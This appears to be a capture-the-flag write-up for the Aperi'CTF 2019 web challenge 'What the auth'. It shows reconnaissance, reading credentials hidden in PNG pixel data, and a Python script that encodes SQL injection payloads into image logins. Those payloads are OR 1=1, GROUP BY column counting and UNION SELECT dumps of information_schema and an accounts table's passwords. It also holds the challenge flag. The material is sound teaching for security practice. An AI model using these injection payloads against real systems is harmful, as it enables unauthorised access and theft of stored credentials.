Aperi’CTF 2019 - What the auth
Challenge details
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | What the auth | Web | 175 | 1 |
Une société a mis au point une nouvelle méthode d’authentification et a inscrit sa solution à un programme de bug bounty. Cassez l’authentification et ramenez leurs le contenu de leur base de donnée.
https://what.aperictf.fr
TL;DR
We had a website with upload form at the index. Robots.txt leads us to a png key file. We could log as guest with de png file. Looking at the file we can see that text is encoded on the pixels. We can perform an sql injection by crafting png file and login with it.
Methodology
Scan
If we look at the page, we’re served a form:
We can try to log with a file, but end up with the error: File must be a valid PNG..
We can try to log with a png file, but we still have errors:
It’s time to launch a scan and inspect /robots.txt file:
User-agent: *
Allow: /
Disallow: /s3cr3tk3y/
Nikto also gave us the information:
nikto -h https://what.aperictf.fr/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 127.0.0.1
+ Target Hostname: 127.0.0.1
+ Target Port: 10001
+ Start Time: 2019-05-12 22:17:51 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.16.0
+ Retrieved x-powered-by header: PHP/7.3.5
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3268: /s3cr3tk3y/: Directory indexing found.
...
Looking at https://what.aperictf.fr/s3cr3tk3y/ we are offered a delicious directory listing:
Investigation
We can then download the s3cr3tk3y.png file:
And login with it:
Obviously, this is a “guest” key. We need to break the authentification process, so lets dig into the guest key format.
There is no exif on the image. Maybe some steg ? I usually use aperisolve.fr but you can also use zsteg or stegsolve.
zsteg s3cr3tk3y.png
imagedata .. text: "guest:guest:"
b1,r,lsb,xy .. text: "z\t7\txQiP"
b2,g,lsb,xy .. text: "2vW<W?f-1"
b3,rgb,msb,xy .. text: "KCkzUDprz"
We can see that there is guest:guest: encoded on the imagedata. Let’s verify with python:
from PIL import Image
img = Image.open("s3cr3tk3y.png")
l = list(img.getdata())
data = ""
for px in l[:4]:
data += chr(px[0])
data += chr(px[1])
data += chr(px[2])
print(data)
Output:
guest:guest:
Note: after 4 px we get random data.
Now we can certify that data is coded on pixels colors on each layers. Each layer of each pixels is a integer between 0 and 255 corresponding to an ascii char.
Inject
Now it’s time to fuzz the s3cr3tk3y.png. After the test, we can change the name of the image, we can crop its bottom, etc… Let’s try to modify the encoded guest:guest:
For this, I made a python script which can be used to generate keys beginning with a given string.
import random
from PIL import Image
def genImage(text,nom):
img = Image.new('RGB', (200, 200))
pxlist = []
j = 0
for i in range(200*200):
if j < len(text):
r = ord(text[j])
else:
r = random.randint(0,255)
j += 1
if j < len(text):
g = ord(text[j])
else:
g = random.randint(0,255)
j += 1
if j < len(text):
b = ord(text[j])
else:
b = random.randint(0,255)
j += 1
px = (r,g,b)
pxlist.append(px)
img.putdata(pxlist)
img.save(nom)
Let’s change the 2nd part “guest” with “test”.
genImage("guest:test:","test.png")
First part and second part seems to be the credentials. Let’s try an SQL injection in the 2nd part with " OR 1=1# as password:
genImage('guest:" OR 1=1#:',"test.png")
SQL injection works !
Exploitation
Now that we triggered a SQL injection, we can exploit it using blind exploitation or see if we can find a reflected value.
Here, we assume that the query looks like this:
SELECT *
FROM table
WHERE user="<param1>" AND password="<param2>";
Number of columns
For a normal SQLi exploitation, we need to find the number of column in the current query. We can use GROUP BY X keywords where X is the last column number.
The query will look like:
SELECT *
FROM table
WHERE user="guest" AND password="guest" GROUP BY 1#";
genImage('guest:guest" GROUP BY 1#:','img1.png')
genImage('guest:guest" GROUP BY 2#:','img2.png')
genImage('guest:guest" GROUP BY 3#:','img3.png')
genImage('guest:guest" GROUP BY 4#:','img4.png')
Here, we’ve been logged in with the 3 firsts images. That means that 3 columns are in use in this query.
Lets try an UNION query.
genImage('guest:x" UNION SELECT 1,2,3#:',"test.png")
The query will look like:
SELECT *
FROM table
WHERE user="guest" AND password="x"
UNION
SELECT 1,2,3#";
We’ve got:
The first column is reflected on the user page.
Table name
To perform a UNION exploitation, we need the table name. We can either bruteforce it or use information_schema table which contains table names.
We will use the following query, where X is the line index starting at 0:
SELECT table_name
FROM information_schema.tables
WHERE table_schema != "mysql"
AND table_schema != "information_schema"
LIMIT X,1
genImage('guest:x" UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema != "mysql" AND table_schema != "information_schema" LIMIT 0,1#:',"img0.png")
For the index 0 we have:
Let’s dig into the accounts table. We’ll recover column names from accounts table using the same method.
SELECT column_name
FROM information_schema.columns
WHERE table_schema = "accounts"
LIMIT X,1
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 0,1#:',"img0.png")
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 1,1#:',"img1.png")
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 2,1#:',"img2.png")
Now that we have table names and column names, we’ll use concat to dump every column at once.
SELECT CONCAT(user," -- ",passwd," -- ",description)
FROM accounts
LIMIT X,1
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 0,1#:',"img0.png")
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 1,1#:',"img1.png")
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 2,1#:',"img2.png")
We could have dumped more users, but that’s more than enough!
Flag
APRK{StegQL_InJeCt10n_pVKzJ4pSP4EM93a5sR326QJtUnfVaxWC}